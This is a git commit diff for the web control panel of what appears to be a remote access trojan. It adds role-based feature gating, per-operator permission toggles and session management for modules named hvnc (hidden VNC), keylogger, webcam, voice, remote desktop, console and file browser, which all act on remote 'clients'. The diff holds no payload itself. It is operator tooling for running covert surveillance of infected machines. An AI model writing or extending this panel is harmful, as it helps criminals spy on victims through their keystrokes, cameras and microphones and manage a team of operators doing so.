huge update to RBAC
This commit is contained in:
@@ -1,5 +1,6 @@
|
||||
import { ansiToHtml } from "./ansi.js";
|
||||
import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
|
||||
import { checkFeatureAccess } from "./feature-gate.js";
|
||||
const outputEl = document.getElementById("console-output");
|
||||
const statusPill = document.getElementById("status-pill");
|
||||
const clientLabel = document.getElementById("client-label");
|
||||
@@ -152,4 +153,4 @@ function wireInput() {
|
||||
});
|
||||
}
|
||||
wireInput();
|
||||
connect();
|
||||
checkFeatureAccess("console", clientId).then(ok => ok && connect());
|
||||
|
||||
@@ -0,0 +1,76 @@
|
||||
const DENY_LABELS = {
|
||||
feature: "You do not have permission to access this feature.",
|
||||
client: "You do not have access to this client.",
|
||||
};
|
||||
|
||||
/**
|
||||
* @param {string} feature
|
||||
* @param {string} clientId
|
||||
* @returns {Promise<boolean>}
|
||||
*/
|
||||
export async function checkFeatureAccess(feature, clientId) {
|
||||
try {
|
||||
const params = new URLSearchParams({ feature, clientId });
|
||||
const res = await fetch(`/api/auth/feature-check?${params}`, { credentials: "include" });
|
||||
|
||||
if (res.status === 401) {
|
||||
window.location.href = "/login.html";
|
||||
return false;
|
||||
}
|
||||
|
||||
if (!res.ok) return true;
|
||||
|
||||
const data = await res.json();
|
||||
if (data.allowed) return true;
|
||||
|
||||
const reasons = Array.isArray(data.denied) ? data.denied : [];
|
||||
showAccessDenied(reasons);
|
||||
return false;
|
||||
} catch {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
|
||||
function showAccessDenied(reasons) {
|
||||
const messages = reasons.map((r) => DENY_LABELS[r] || "Access denied.").join(" ");
|
||||
|
||||
document.body.style.visibility = "hidden";
|
||||
|
||||
const overlay = document.createElement("div");
|
||||
overlay.id = "access-denied-overlay";
|
||||
overlay.style.cssText =
|
||||
"position:fixed;inset:0;z-index:9999;display:flex;align-items:center;justify-content:center;background:#0f172a;visibility:visible;";
|
||||
|
||||
const card = document.createElement("div");
|
||||
card.style.cssText =
|
||||
"max-width:420px;width:90%;text-align:center;padding:2rem;border-radius:1rem;background:#1e293b;border:1px solid #dc2626;";
|
||||
|
||||
card.innerHTML = `
|
||||
<div style="font-size:3rem;margin-bottom:1rem;">
|
||||
<i class="fa-solid fa-lock" style="color:#ef4444;"></i>
|
||||
</div>
|
||||
<h2 style="font-size:1.25rem;font-weight:700;color:#f1f5f9;margin-bottom:0.5rem;">Access Denied</h2>
|
||||
<p style="color:#94a3b8;font-size:0.875rem;line-height:1.5;margin-bottom:1.5rem;">
|
||||
${escapeHtml(messages)}
|
||||
</p>
|
||||
<p style="color:#64748b;font-size:0.75rem;margin-bottom:1.25rem;">
|
||||
Contact your administrator to request access.
|
||||
</p>
|
||||
`;
|
||||
|
||||
const closeBtn = document.createElement("button");
|
||||
closeBtn.textContent = "Close Tab";
|
||||
closeBtn.style.cssText =
|
||||
"padding:0.5rem 1.25rem;border-radius:0.5rem;background:#334155;color:#e2e8f0;border:1px solid #475569;cursor:pointer;font-size:0.875rem;";
|
||||
closeBtn.addEventListener("click", () => window.close());
|
||||
|
||||
card.appendChild(closeBtn);
|
||||
overlay.appendChild(card);
|
||||
document.body.appendChild(overlay);
|
||||
}
|
||||
|
||||
function escapeHtml(text) {
|
||||
const el = document.createElement("span");
|
||||
el.textContent = text;
|
||||
return el.innerHTML;
|
||||
}
|
||||
@@ -1,4 +1,5 @@
|
||||
import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
|
||||
import { checkFeatureAccess } from "./feature-gate.js";
|
||||
|
||||
const clientId = window.location.pathname.split("/")[1];
|
||||
let ws = null;
|
||||
@@ -2234,7 +2235,7 @@ function highlightSidebarActive() {
|
||||
});
|
||||
}
|
||||
|
||||
connect();
|
||||
checkFeatureAccess("file_browser", clientId).then(ok => ok && connect());
|
||||
|
||||
function addTransferToUI(transfer) {
|
||||
const transferItem = document.createElement("div");
|
||||
|
||||
@@ -1,11 +1,16 @@
|
||||
import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
|
||||
import { checkFeatureAccess } from "./feature-gate.js";
|
||||
|
||||
(function () {
|
||||
(async function () {
|
||||
const clientId = new URLSearchParams(location.search).get("clientId");
|
||||
if (!clientId) {
|
||||
alert("Missing clientId");
|
||||
return;
|
||||
}
|
||||
|
||||
const allowed = await checkFeatureAccess("hvnc", clientId);
|
||||
if (!allowed) return;
|
||||
|
||||
const clientLabel = document.getElementById("clientLabel");
|
||||
clientLabel.textContent = clientId;
|
||||
|
||||
|
||||
@@ -1,4 +1,5 @@
|
||||
import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
|
||||
import { checkFeatureAccess } from "./feature-gate.js";
|
||||
|
||||
const clientId = window.location.pathname.split("/")[1];
|
||||
if (!clientId) {
|
||||
@@ -712,4 +713,4 @@ fileList.addEventListener("click", (event) => {
|
||||
});
|
||||
|
||||
import("/assets/nav.js");
|
||||
connect();
|
||||
checkFeatureAccess("keylogger", clientId).then(ok => ok && connect());
|
||||
|
||||
@@ -1,4 +1,5 @@
|
||||
import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
|
||||
import { checkFeatureAccess } from "./feature-gate.js";
|
||||
|
||||
const clientId = window.location.pathname.split("/")[1];
|
||||
let ws = null;
|
||||
@@ -426,5 +427,5 @@ setInterval(() => {
|
||||
}, 3000);
|
||||
|
||||
updateStatus("connecting", "Connecting...");
|
||||
connect();
|
||||
checkFeatureAccess("processes", clientId).then(ok => ok && connect());
|
||||
updateSortIndicators();
|
||||
|
||||
@@ -1,11 +1,16 @@
|
||||
import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
|
||||
import { checkFeatureAccess } from "./feature-gate.js";
|
||||
|
||||
(function () {
|
||||
(async function () {
|
||||
const clientId = new URLSearchParams(location.search).get("clientId");
|
||||
if (!clientId) {
|
||||
alert("Missing clientId");
|
||||
return;
|
||||
}
|
||||
|
||||
const allowed = await checkFeatureAccess("remote_desktop", clientId);
|
||||
if (!allowed) return;
|
||||
|
||||
const clientLabel = document.getElementById("clientLabel");
|
||||
clientLabel.textContent = clientId;
|
||||
|
||||
|
||||
@@ -827,6 +827,151 @@ async function wipeOfflineClients() {
|
||||
}
|
||||
}
|
||||
|
||||
const sessionsTableBody = document.getElementById("sessions-table-body");
|
||||
const sessionsMessage = document.getElementById("sessions-message");
|
||||
const refreshSessionsBtn = document.getElementById("refresh-sessions-btn");
|
||||
|
||||
function parseUserAgent(ua) {
|
||||
if (!ua) return "Unknown";
|
||||
if (ua.length > 80) return ua.substring(0, 77) + "...";
|
||||
return ua;
|
||||
}
|
||||
|
||||
function formatRelativeTime(epochSeconds) {
|
||||
if (!epochSeconds) return "—";
|
||||
const diff = Math.floor(Date.now() / 1000) - epochSeconds;
|
||||
if (diff < 60) return "Just now";
|
||||
if (diff < 3600) return `${Math.floor(diff / 60)}m ago`;
|
||||
if (diff < 86400) return `${Math.floor(diff / 3600)}h ago`;
|
||||
return `${Math.floor(diff / 86400)}d ago`;
|
||||
}
|
||||
|
||||
function showSessionsMessage(text, type = "ok") {
|
||||
if (!sessionsMessage) return;
|
||||
sessionsMessage.textContent = text;
|
||||
sessionsMessage.classList.remove(
|
||||
"hidden",
|
||||
"text-emerald-200", "border-emerald-700", "bg-emerald-900/30",
|
||||
"text-rose-200", "border-rose-700", "bg-rose-900/30",
|
||||
);
|
||||
if (type === "error") {
|
||||
sessionsMessage.classList.add("text-rose-200", "border-rose-700", "bg-rose-900/30");
|
||||
} else {
|
||||
sessionsMessage.classList.add("text-emerald-200", "border-emerald-700", "bg-emerald-900/30");
|
||||
}
|
||||
setTimeout(() => sessionsMessage.classList.add("hidden"), 5000);
|
||||
}
|
||||
|
||||
async function loadSessions() {
|
||||
if (!sessionsTableBody) return;
|
||||
|
||||
try {
|
||||
const res = await fetch("/api/sessions", { credentials: "include" });
|
||||
if (!res.ok) {
|
||||
sessionsTableBody.innerHTML = `
|
||||
<tr>
|
||||
<td colspan="6" class="px-3 py-6 text-center text-rose-300">Failed to load sessions</td>
|
||||
</tr>
|
||||
`;
|
||||
return;
|
||||
}
|
||||
|
||||
const data = await res.json();
|
||||
const sessions = Array.isArray(data.sessions) ? data.sessions : [];
|
||||
|
||||
if (sessions.length === 0) {
|
||||
sessionsTableBody.innerHTML = `
|
||||
<tr>
|
||||
<td colspan="6" class="px-3 py-6 text-center text-slate-400">No sessions found</td>
|
||||
</tr>
|
||||
`;
|
||||
return;
|
||||
}
|
||||
|
||||
sessionsTableBody.innerHTML = sessions
|
||||
.map((s) => {
|
||||
const isExpired = s.expiresAt && s.expiresAt < Math.floor(Date.now() / 1000);
|
||||
const statusLabel = s.revoked
|
||||
? '<span class="text-rose-400">Revoked</span>'
|
||||
: isExpired
|
||||
? '<span class="text-slate-500">Expired</span>'
|
||||
: '<span class="text-emerald-400">Active</span>';
|
||||
const currentBadge = s.current
|
||||
? ' <span class="ml-1 px-1.5 py-0.5 text-[10px] rounded bg-sky-600/30 text-sky-300 border border-sky-500/30">Current</span>'
|
||||
: "";
|
||||
const canRevoke = !s.revoked && !isExpired;
|
||||
|
||||
return `
|
||||
<tr>
|
||||
<td class="px-3 py-2 font-mono text-xs text-slate-100">${escapeHtml(s.ip || "—")}</td>
|
||||
<td class="px-3 py-2 text-slate-300 text-xs max-w-[200px] truncate" title="${escapeHtml(s.userAgent || "")}">${escapeHtml(parseUserAgent(s.userAgent))}</td>
|
||||
<td class="px-3 py-2 text-slate-400 text-xs">${formatDate(s.createdAt)}</td>
|
||||
<td class="px-3 py-2 text-slate-400 text-xs">${formatRelativeTime(s.lastActivity)}</td>
|
||||
<td class="px-3 py-2 text-xs">${statusLabel}${currentBadge}</td>
|
||||
<td class="px-3 py-2 text-right">
|
||||
${canRevoke ? `
|
||||
<button
|
||||
type="button"
|
||||
class="revoke-session-btn px-2.5 py-1.5 rounded bg-red-700/80 hover:bg-red-600 text-white text-xs"
|
||||
data-session-id="${escapeHtml(s.id)}"
|
||||
${s.current ? 'data-is-current="true"' : ""}
|
||||
>
|
||||
<i class="fa-solid fa-right-from-bracket mr-1"></i>Revoke
|
||||
</button>
|
||||
` : ""}
|
||||
</td>
|
||||
</tr>
|
||||
`;
|
||||
})
|
||||
.join("");
|
||||
} catch (err) {
|
||||
sessionsTableBody.innerHTML = `
|
||||
<tr>
|
||||
<td colspan="6" class="px-3 py-6 text-center text-rose-300">Error loading sessions</td>
|
||||
</tr>
|
||||
`;
|
||||
}
|
||||
}
|
||||
|
||||
async function handleRevokeSessionClick(event) {
|
||||
const button = event.target.closest(".revoke-session-btn");
|
||||
if (!button) return;
|
||||
|
||||
const sessionId = button.dataset.sessionId;
|
||||
const isCurrent = button.dataset.isCurrent === "true";
|
||||
|
||||
if (isCurrent) {
|
||||
if (!confirm("This will revoke your current session and log you out. Continue?")) return;
|
||||
}
|
||||
|
||||
button.disabled = true;
|
||||
|
||||
try {
|
||||
const res = await fetch(`/api/sessions/${encodeURIComponent(sessionId)}`, {
|
||||
method: "DELETE",
|
||||
credentials: "include",
|
||||
});
|
||||
|
||||
if (!res.ok) {
|
||||
const data = await res.json().catch(() => ({}));
|
||||
showSessionsMessage(data.error || "Failed to revoke session", "error");
|
||||
button.disabled = false;
|
||||
return;
|
||||
}
|
||||
|
||||
if (isCurrent) {
|
||||
window.location.href = "/login.html";
|
||||
return;
|
||||
}
|
||||
|
||||
showSessionsMessage("Session revoked successfully");
|
||||
await loadSessions();
|
||||
} catch {
|
||||
showSessionsMessage("Request failed", "error");
|
||||
button.disabled = false;
|
||||
}
|
||||
}
|
||||
|
||||
async function init() {
|
||||
try {
|
||||
await loadCurrentUser();
|
||||
@@ -872,6 +1017,10 @@ async function init() {
|
||||
refreshBansBtn.addEventListener("click", loadBannedIps);
|
||||
bansTableBody.addEventListener("click", handleUnbanClick);
|
||||
if (wipeOfflineBtn) wipeOfflineBtn.addEventListener("click", wipeOfflineClients);
|
||||
|
||||
await loadSessions();
|
||||
if (refreshSessionsBtn) refreshSessionsBtn.addEventListener("click", loadSessions);
|
||||
if (sessionsTableBody) sessionsTableBody.addEventListener("click", handleRevokeSessionClick);
|
||||
} catch (error) {
|
||||
console.error("settings init failed", error);
|
||||
showMessage("Failed to load settings.", "error");
|
||||
|
||||
@@ -209,6 +209,26 @@ function renderUsers() {
|
||||
>
|
||||
<i class="fa-solid fa-user-shield"></i>
|
||||
</button>
|
||||
${user.role === "operator" ? `
|
||||
<button
|
||||
class="user-action-btn px-3 py-1.5 text-sm bg-amber-900/30 hover:bg-amber-900/50 text-amber-300 rounded border border-amber-800 transition-colors"
|
||||
data-action="feature-permissions"
|
||||
data-user-id="${user.id}"
|
||||
data-username="${escapeHtml(user.username)}"
|
||||
title="Feature Permissions"
|
||||
>
|
||||
<i class="fa-solid fa-sliders"></i>
|
||||
</button>
|
||||
` : ''}
|
||||
<button
|
||||
class="user-action-btn px-3 py-1.5 text-sm bg-cyan-900/30 hover:bg-cyan-900/50 text-cyan-300 rounded border border-cyan-800 transition-colors"
|
||||
data-action="view-sessions"
|
||||
data-user-id="${user.id}"
|
||||
data-username="${escapeHtml(user.username)}"
|
||||
title="View Sessions"
|
||||
>
|
||||
<i class="fa-solid fa-desktop"></i>
|
||||
</button>
|
||||
<button
|
||||
class="user-action-btn px-3 py-1.5 text-sm bg-red-900/20 hover:bg-red-900/40 text-red-400 rounded border border-red-800 transition-colors"
|
||||
data-action="delete"
|
||||
@@ -289,6 +309,12 @@ function attachActionListeners() {
|
||||
case "client-access":
|
||||
configureClientAccess(userId, username, role);
|
||||
break;
|
||||
case "feature-permissions":
|
||||
configureFeaturePermissions(userId, username);
|
||||
break;
|
||||
case "view-sessions":
|
||||
viewUserSessions(userId, username);
|
||||
break;
|
||||
}
|
||||
};
|
||||
|
||||
@@ -463,6 +489,108 @@ window.configureClientAccess = async function (userId, username, role) {
|
||||
window.location.href = `/user-client-access?${params.toString()}`;
|
||||
};
|
||||
|
||||
const FEATURE_LABELS = {
|
||||
console: { label: "Console", icon: "fa-terminal" },
|
||||
remote_desktop: { label: "Remote Desktop", icon: "fa-desktop" },
|
||||
hvnc: { label: "HVNC", icon: "fa-window-restore" },
|
||||
webcam: { label: "Webcam", icon: "fa-video" },
|
||||
file_browser: { label: "File Browser", icon: "fa-folder-open" },
|
||||
processes: { label: "Processes", icon: "fa-microchip" },
|
||||
keylogger: { label: "Keylogger", icon: "fa-keyboard" },
|
||||
voice: { label: "Voice", icon: "fa-microphone" },
|
||||
};
|
||||
|
||||
window.configureFeaturePermissions = async function (userId, username) {
|
||||
try {
|
||||
const res = await fetch(`/api/users/${userId}/feature-permissions`);
|
||||
if (!res.ok) throw new Error("Failed to load feature permissions");
|
||||
const data = await res.json();
|
||||
const perms = data.permissions;
|
||||
const features = data.features;
|
||||
|
||||
let modal = document.getElementById("feature-perms-modal");
|
||||
if (modal) modal.remove();
|
||||
|
||||
modal = document.createElement("div");
|
||||
modal.id = "feature-perms-modal";
|
||||
modal.className = "fixed inset-0 bg-black/50 backdrop-blur-sm z-50 flex items-center justify-center p-4";
|
||||
modal.innerHTML = `
|
||||
<div class="bg-slate-900 border border-slate-700 rounded-xl max-w-md w-full p-6 shadow-2xl">
|
||||
<div class="flex items-center justify-between mb-6">
|
||||
<h3 class="text-xl font-bold text-slate-100">Feature Permissions</h3>
|
||||
<button id="close-feature-modal" class="text-slate-400 hover:text-slate-200 transition-colors">
|
||||
<i class="fa-solid fa-times text-xl"></i>
|
||||
</button>
|
||||
</div>
|
||||
<p class="text-sm text-slate-400 mb-4">
|
||||
Manage feature access for <span class="text-slate-200 font-medium">${escapeHtml(username)}</span>.
|
||||
Disabled features will return 403 when accessed.
|
||||
</p>
|
||||
<div class="space-y-2 mb-6" id="feature-toggles">
|
||||
${features.map(f => {
|
||||
const meta = FEATURE_LABELS[f] || { label: f, icon: "fa-puzzle-piece" };
|
||||
const checked = perms[f] !== false;
|
||||
return `
|
||||
<label class="flex items-center justify-between p-3 bg-slate-800/50 rounded-lg border border-slate-700 hover:border-slate-600 cursor-pointer transition-colors">
|
||||
<div class="flex items-center gap-3">
|
||||
<i class="fa-solid ${meta.icon} text-slate-400 w-5 text-center"></i>
|
||||
<span class="text-slate-200 font-medium">${meta.label}</span>
|
||||
</div>
|
||||
<input type="checkbox" data-feature="${f}" ${checked ? "checked" : ""}
|
||||
class="w-5 h-5 rounded bg-slate-700 border-slate-600 text-blue-500 focus:ring-blue-500 focus:ring-offset-0 cursor-pointer" />
|
||||
</label>`;
|
||||
}).join("")}
|
||||
</div>
|
||||
<div class="flex gap-3">
|
||||
<button id="reset-feature-perms" class="flex-1 px-4 py-2 bg-slate-800 hover:bg-slate-700 text-slate-200 rounded-lg border border-slate-700 transition-colors font-medium">
|
||||
Reset to Defaults
|
||||
</button>
|
||||
<button id="save-feature-perms" class="flex-1 px-4 py-2 bg-blue-600 hover:bg-blue-700 text-white rounded-lg transition-colors font-medium">
|
||||
<i class="fa-solid fa-check mr-2"></i>Save
|
||||
</button>
|
||||
</div>
|
||||
</div>`;
|
||||
document.body.appendChild(modal);
|
||||
|
||||
document.getElementById("close-feature-modal").addEventListener("click", () => modal.remove());
|
||||
modal.addEventListener("click", (e) => { if (e.target === modal) modal.remove(); });
|
||||
|
||||
document.getElementById("save-feature-perms").addEventListener("click", async () => {
|
||||
const toggles = modal.querySelectorAll("[data-feature]");
|
||||
const permissions = {};
|
||||
toggles.forEach(t => { permissions[t.dataset.feature] = t.checked; });
|
||||
|
||||
try {
|
||||
const saveRes = await fetch(`/api/users/${userId}/feature-permissions`, {
|
||||
method: "PUT",
|
||||
headers: { "Content-Type": "application/json" },
|
||||
body: JSON.stringify({ permissions }),
|
||||
});
|
||||
if (!saveRes.ok) throw new Error("Failed to save");
|
||||
modal.remove();
|
||||
if (window.showToast) window.showToast("Feature permissions updated", "success");
|
||||
} catch (err) {
|
||||
alert("Failed to save feature permissions");
|
||||
}
|
||||
});
|
||||
|
||||
document.getElementById("reset-feature-perms").addEventListener("click", async () => {
|
||||
if (!confirm("Reset all feature permissions to defaults (all enabled)?")) return;
|
||||
try {
|
||||
const delRes = await fetch(`/api/users/${userId}/feature-permissions`, { method: "DELETE" });
|
||||
if (!delRes.ok) throw new Error("Failed to reset");
|
||||
modal.remove();
|
||||
if (window.showToast) window.showToast("Feature permissions reset", "success");
|
||||
} catch (err) {
|
||||
alert("Failed to reset feature permissions");
|
||||
}
|
||||
});
|
||||
} catch (err) {
|
||||
console.error("Feature permissions error:", err);
|
||||
alert("Failed to load feature permissions");
|
||||
}
|
||||
};
|
||||
|
||||
window.toggleBuildPermission = async function (userId, username, currentCanBuild) {
|
||||
const newVal = !currentCanBuild;
|
||||
if (!confirm(`${newVal ? 'Grant' : 'Revoke'} build permission for ${username}?`)) return;
|
||||
@@ -511,5 +639,124 @@ window.toggleUploadPermission = async function (userId, username, currentCanUplo
|
||||
}
|
||||
};
|
||||
|
||||
async function viewUserSessions(userId, username) {
|
||||
try {
|
||||
const res = await fetch(`/api/users/${userId}/sessions`);
|
||||
if (!res.ok) throw new Error("Failed to fetch sessions");
|
||||
const data = await res.json();
|
||||
const sessions = Array.isArray(data.sessions) ? data.sessions : [];
|
||||
|
||||
const existing = document.getElementById("sessions-modal");
|
||||
if (existing) existing.remove();
|
||||
|
||||
const modal = document.createElement("div");
|
||||
modal.id = "sessions-modal";
|
||||
modal.className = "fixed inset-0 z-50 flex items-center justify-center bg-black/60";
|
||||
|
||||
const now = Math.floor(Date.now() / 1000);
|
||||
|
||||
const rows = sessions.length === 0
|
||||
? `<tr><td colspan="5" class="px-3 py-6 text-center text-slate-400">No sessions</td></tr>`
|
||||
: sessions.map(s => {
|
||||
const isExpired = s.expiresAt && s.expiresAt < now;
|
||||
const status = s.revoked
|
||||
? '<span class="text-rose-400">Revoked</span>'
|
||||
: isExpired
|
||||
? '<span class="text-slate-500">Expired</span>'
|
||||
: '<span class="text-emerald-400">Active</span>';
|
||||
const canRevoke = !s.revoked && !isExpired;
|
||||
const lastAct = s.lastActivity ? formatRelTime(s.lastActivity) : "—";
|
||||
|
||||
return `<tr>
|
||||
<td class="px-3 py-2 font-mono text-xs text-slate-100">${escapeHtml(s.ip || "—")}</td>
|
||||
<td class="px-3 py-2 text-slate-400 text-xs">${lastAct}</td>
|
||||
<td class="px-3 py-2 text-xs">${status}</td>
|
||||
<td class="px-3 py-2 text-right">
|
||||
${canRevoke ? `<button class="admin-revoke-session-btn px-2 py-1 rounded bg-red-700/80 hover:bg-red-600 text-white text-xs" data-session-id="${escapeHtml(s.id)}"><i class="fa-solid fa-ban mr-1"></i>Revoke</button>` : ""}
|
||||
</td>
|
||||
</tr>`;
|
||||
}).join("");
|
||||
|
||||
modal.innerHTML = `
|
||||
<div class="bg-slate-900 border border-slate-700 rounded-xl p-5 max-w-2xl w-full mx-4 max-h-[80vh] overflow-y-auto">
|
||||
<div class="flex items-center justify-between mb-4">
|
||||
<h3 class="text-lg font-semibold text-slate-100">Sessions — ${escapeHtml(username)}</h3>
|
||||
<div class="flex items-center gap-2">
|
||||
${sessions.some(s => !s.revoked) ? `<button id="revoke-all-sessions-btn" class="px-3 py-1.5 text-xs bg-red-700/80 hover:bg-red-600 text-white rounded border border-red-600"><i class="fa-solid fa-ban mr-1"></i>Revoke All</button>` : ""}
|
||||
<button id="close-sessions-modal" class="px-3 py-1.5 text-sm bg-slate-700 hover:bg-slate-600 text-white rounded">Close</button>
|
||||
</div>
|
||||
</div>
|
||||
<div class="overflow-x-auto border border-slate-800 rounded-lg">
|
||||
<table class="w-full text-sm">
|
||||
<thead class="bg-slate-800/60 text-slate-300">
|
||||
<tr>
|
||||
<th class="text-left px-3 py-2">IP</th>
|
||||
<th class="text-left px-3 py-2">Last Active</th>
|
||||
<th class="text-left px-3 py-2">Status</th>
|
||||
<th class="text-right px-3 py-2">Action</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody class="divide-y divide-slate-800">${rows}</tbody>
|
||||
</table>
|
||||
</div>
|
||||
</div>
|
||||
`;
|
||||
|
||||
document.body.appendChild(modal);
|
||||
|
||||
modal.addEventListener("click", (e) => {
|
||||
if (e.target === modal || e.target.closest("#close-sessions-modal")) {
|
||||
modal.remove();
|
||||
}
|
||||
});
|
||||
|
||||
modal.querySelectorAll(".admin-revoke-session-btn").forEach(btn => {
|
||||
btn.addEventListener("click", async () => {
|
||||
btn.disabled = true;
|
||||
try {
|
||||
const r = await fetch(`/api/sessions/${encodeURIComponent(btn.dataset.sessionId)}`, {
|
||||
method: "DELETE",
|
||||
});
|
||||
if (!r.ok) throw new Error("Failed");
|
||||
modal.remove();
|
||||
viewUserSessions(userId, username);
|
||||
} catch {
|
||||
alert("Failed to revoke session");
|
||||
btn.disabled = false;
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
const revokeAllBtn = document.getElementById("revoke-all-sessions-btn");
|
||||
if (revokeAllBtn) {
|
||||
revokeAllBtn.addEventListener("click", async () => {
|
||||
if (!confirm(`Revoke all sessions for ${username}? They will be logged out immediately.`)) return;
|
||||
revokeAllBtn.disabled = true;
|
||||
try {
|
||||
const r = await fetch(`/api/users/${userId}/sessions`, { method: "DELETE" });
|
||||
if (!r.ok) throw new Error("Failed");
|
||||
modal.remove();
|
||||
viewUserSessions(userId, username);
|
||||
} catch {
|
||||
alert("Failed to revoke sessions");
|
||||
revokeAllBtn.disabled = false;
|
||||
}
|
||||
});
|
||||
}
|
||||
} catch (err) {
|
||||
console.error("View sessions error:", err);
|
||||
alert("Failed to load sessions");
|
||||
}
|
||||
}
|
||||
|
||||
function formatRelTime(epochSeconds) {
|
||||
if (!epochSeconds) return "—";
|
||||
const diff = Math.floor(Date.now() / 1000) - epochSeconds;
|
||||
if (diff < 60) return "Just now";
|
||||
if (diff < 3600) return `${Math.floor(diff / 60)}m ago`;
|
||||
if (diff < 86400) return `${Math.floor(diff / 3600)}h ago`;
|
||||
return `${Math.floor(diff / 86400)}d ago`;
|
||||
}
|
||||
|
||||
getCurrentUser();
|
||||
loadUsers();
|
||||
|
||||
@@ -1,4 +1,5 @@
|
||||
import { fetchVoiceCapabilities } from "./data.js";
|
||||
import { checkFeatureAccess } from "./feature-gate.js";
|
||||
|
||||
const params = new URLSearchParams(window.location.search);
|
||||
const clientId = params.get("clientId") || "";
|
||||
@@ -470,4 +471,10 @@ window.addEventListener("beforeunload", disconnectVoice);
|
||||
updateMuteButtons();
|
||||
drawWave(localWaveCanvas, localWaveBuffer, localWaveWrite, "rgba(34, 211, 238, 0.95)");
|
||||
drawWave(remoteWaveCanvas, remoteWaveBuffer, remoteWaveWrite, "rgba(16, 185, 129, 0.95)");
|
||||
loadCapabilities();
|
||||
checkFeatureAccess("voice", clientId).then(ok => {
|
||||
if (ok) {
|
||||
loadCapabilities();
|
||||
} else {
|
||||
connectBtn.disabled = true;
|
||||
}
|
||||
});
|
||||
|
||||
@@ -1,12 +1,16 @@
|
||||
import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
|
||||
import { checkFeatureAccess } from "./feature-gate.js";
|
||||
|
||||
(function () {
|
||||
(async function () {
|
||||
const clientId = new URLSearchParams(location.search).get("clientId");
|
||||
if (!clientId) {
|
||||
alert("Missing clientId");
|
||||
return;
|
||||
}
|
||||
|
||||
const allowed = await checkFeatureAccess("webcam", clientId);
|
||||
if (!allowed) return;
|
||||
|
||||
const clientLabel = document.getElementById("clientLabel");
|
||||
const startBtn = document.getElementById("startBtn");
|
||||
const stopBtn = document.getElementById("stopBtn");
|
||||
|
||||
@@ -240,6 +240,50 @@
|
||||
</div>
|
||||
</section>
|
||||
|
||||
<!-- Active Sessions -->
|
||||
<section class="bg-slate-900/60 border border-slate-800 rounded-xl p-5 space-y-4">
|
||||
<div class="flex items-center justify-between gap-3">
|
||||
<div class="flex items-center gap-3">
|
||||
<div class="flex items-center justify-center w-9 h-9 rounded-lg bg-emerald-500/10 border border-emerald-500/30">
|
||||
<i class="fa-solid fa-desktop text-emerald-400"></i>
|
||||
</div>
|
||||
<div>
|
||||
<h2 class="text-lg font-semibold">Active Sessions</h2>
|
||||
<p class="text-sm text-slate-400">View and manage your active login sessions.</p>
|
||||
</div>
|
||||
</div>
|
||||
<button
|
||||
id="refresh-sessions-btn"
|
||||
class="inline-flex items-center gap-2 px-3 py-2 rounded-lg bg-slate-800 hover:bg-slate-700 border border-slate-700 text-sm transition-colors"
|
||||
type="button"
|
||||
>
|
||||
<i class="fa-solid fa-rotate"></i>Refresh
|
||||
</button>
|
||||
</div>
|
||||
|
||||
<div class="overflow-x-auto border border-slate-800 rounded-lg">
|
||||
<table class="w-full text-sm">
|
||||
<thead class="bg-slate-800/60 text-slate-300">
|
||||
<tr>
|
||||
<th class="text-left px-3 py-2">IP</th>
|
||||
<th class="text-left px-3 py-2">Browser / Client</th>
|
||||
<th class="text-left px-3 py-2">Created</th>
|
||||
<th class="text-left px-3 py-2">Last Active</th>
|
||||
<th class="text-left px-3 py-2">Status</th>
|
||||
<th class="text-right px-3 py-2">Action</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody id="sessions-table-body" class="divide-y divide-slate-800">
|
||||
<tr>
|
||||
<td colspan="6" class="px-3 py-6 text-center text-slate-400">Loading...</td>
|
||||
</tr>
|
||||
</tbody>
|
||||
</table>
|
||||
</div>
|
||||
|
||||
<p id="sessions-message" class="hidden text-sm rounded-lg px-3 py-2 border"></p>
|
||||
</section>
|
||||
|
||||
<!-- Dashboard Preferences -->
|
||||
<section class="bg-slate-900/60 border border-slate-800 rounded-xl p-5 space-y-4">
|
||||
<div class="flex items-center gap-3">
|
||||
|
||||
Reference in New Issue
Block a user